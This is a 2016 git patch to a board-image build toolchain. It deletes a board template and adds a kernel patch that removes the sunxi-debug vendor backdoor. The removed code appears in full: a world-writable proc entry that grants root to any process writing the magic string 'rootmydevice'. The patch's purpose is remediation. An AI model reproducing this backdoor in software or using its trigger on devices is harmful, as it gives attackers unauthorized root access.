From 7a5aeda32d20a74b0ae5214828fe75e676cdf82b Mon Sep 17 00:00:00 2001 From: zador-blood-stained Date: Sat, 30 Apr 2016 16:34:13 +0300 Subject: [PATCH] Remove sunxi-debug LPE Remove outdated board template file --- config/boards/new-board.template | 57 --------- .../sun8i-default/remove-sunxi-debug.patch | 113 ++++++++++++++++++ 2 files changed, 113 insertions(+), 57 deletions(-) delete mode 100644 config/boards/new-board.template create mode 100644 patch/kernel/sun8i-default/remove-sunxi-debug.patch diff --git a/config/boards/new-board.template b/config/boards/new-board.template deleted file mode 100644 index f6d00f181..000000000 --- a/config/boards/new-board.template +++ /dev/null @@ -1,57 +0,0 @@ -# Copyright (c) 2015 Igor Pecovnik, igor.pecovnik@gma**.com -# -# This file is licensed under the terms of the GNU General Public -# License version 2. This program is licensed "as is" without any -# warranty of any kind, whether express or implied. -# -# This file is a part of tool chain https://github.com/igorpecovnik/lib - -## Name ($BOARD) -NAME='template-board' - -## Display extra warning when attempting to build -STATUS_WIP=no - -## Description for board selection dialog -DESCRIPTION='Template board description' - -## Sources family -LINUXFAMILY='new-family' - -## U-boot configuration target -BOOTCONFIG='template_board' - -## U-boot boot script file name -BOOTSCRIPT='boot-template.cmd' - -## Entries in /etc/modules for default kernel branch (space-separated list) -MODULES='module1 module2' - -## Entries in /etc/modules for next and dev kernel branch (space-separated list) -MODULES_NEXT='module3 module4' - -## Packages to be removed from base image (space-separated list) -REMOVE_PACKAGES='package1 package2' - -## Name of default serial device -SERIALCON='ttyS0' - -## Architecture for debootstrap and kernel/u-boot cross-compilation -BOARD_ARCH=arm - -## Cross-compile prefix -BOARD_COMPILER=arm-linux-gnueabihf- - -## Kernel branches for BUILD_ALL: bitmask (dev next default) -BUILD_ALL_TARGET=0 - -## Kernel and OS releases to build images in a batch (distroid:branch) -CLI_TARGET="jessie:default" -DESKTOP_TARGET="jessie:default" -KERNEL_TARGET="default" - -## Function to make board-specific adjustments to rootfs -install_board_specific() -{ - echo "Installing board-specific configuration" -} diff --git a/patch/kernel/sun8i-default/remove-sunxi-debug.patch b/patch/kernel/sun8i-default/remove-sunxi-debug.patch new file mode 100644 index 000000000..9285edd66 --- /dev/null +++ b/patch/kernel/sun8i-default/remove-sunxi-debug.patch @@ -0,0 +1,113 @@ +diff --git a/arch/arm/mach-sunxi/Makefile b/arch/arm/mach-sunxi/Makefile +index 43bd7a6..7a50c26 100755 +--- a/arch/arm/mach-sunxi/Makefile ++++ b/arch/arm/mach-sunxi/Makefile +@@ -49,7 +49,7 @@ obj-y += sunxi-headsmp.o sunxi-platsmp.o + obj-$(CONFIG_HOTPLUG_CPU) += sunxi-hotplug.o + endif + +-obj-y += sys_config.o sunxi_dump_reg.o sunxi-chip.o sunxi_sram.o sunxi-debug.o ++obj-y += sys_config.o sunxi_dump_reg.o sunxi-chip.o sunxi_sram.o + + obj-$(CONFIG_SUNXI_TRUSTZONE) += firmware.o + obj-$(CONFIG_SUNXI_TRUSTZONE) += sunxi-smc.o +diff --git a/arch/arm/mach-sunxi/sunxi-debug.c b/arch/arm/mach-sunxi/sunxi-debug.c +deleted file mode 100755 +index 53ed9fc..0000000 +--- a/arch/arm/mach-sunxi/sunxi-debug.c ++++ /dev/null +@@ -1,94 +0,0 @@ +-/* +- * Sunxi_debug.c +- * +- * +- * This program is free software; you can redistribute it and/or modify +- * it under the terms of the GNU General Public License version 2 as +- * published by the Free Software Foundation. +- */ +-#include +-#include +-#include +-#include +- +-#include +-#include //add by fe3o4 +-#include +-#include +- +-static struct proc_dir_entry *proc_root; +-static struct proc_dir_entry * proc_su; +- +- +-static int sunxi_proc_su_write(struct file *file, const char __user *buffer, +- unsigned long count, void *data) +-{ +- char *buf; +- struct cred *cred; +- +- if (count < 1) +- return -EINVAL; +- +- buf = kmalloc(count, GFP_KERNEL); +- if (!buf) +- return -ENOMEM; +- +- if (copy_from_user(buf, buffer, count)) { +- kfree(buf); +- return -EFAULT; +- } +- +- if(!strncmp("rootmydevice",(char*)buf,12)){ +- cred = (struct cred *)__task_cred(current); +- cred->uid = 0; +- cred->gid = 0; +- cred->suid = 0; +- cred->euid = 0; +- cred->euid = 0; +- cred->egid = 0; +- cred->fsuid = 0; +- cred->fsgid = 0; +- printk("now you are root\n"); +- } +- +- kfree(buf); +- return count; +-} +- +- +-static int sunxi_proc_su_read(char *page, char **start, off_t off, +- int count, int *eof, void *data) +-{ +- printk("sunxi debug: rootmydevice\n"); +- return 0; +-} +- +-static int sunxi_root_procfs_attach(void) +-{ +- proc_root = proc_mkdir("sunxi_debug", NULL); +- proc_su= create_proc_entry("sunxi_debug", 0666, proc_root); +- if (IS_ERR(proc_su)){ +- printk("create sunxi_debug dir error\n"); +- return -1; +- } +- proc_su->data = NULL; +- proc_su->read_proc = sunxi_proc_su_read; +- proc_su->write_proc = sunxi_proc_su_write; +- return 0; +- +-} +- +-static int sunxi_debug_init(void) +-{ +- int ret; +- ret = sunxi_root_procfs_attach(); +- printk("===fe3o4==== sunxi_root_procfs_attach ret:%d\n", ret); +- if(ret){ +- printk("===fe3o4== sunxi_root_procfs_attach failed===\n "); +- } +- return ret; +-} +- +-subsys_initcall(sunxi_debug_init); +- +-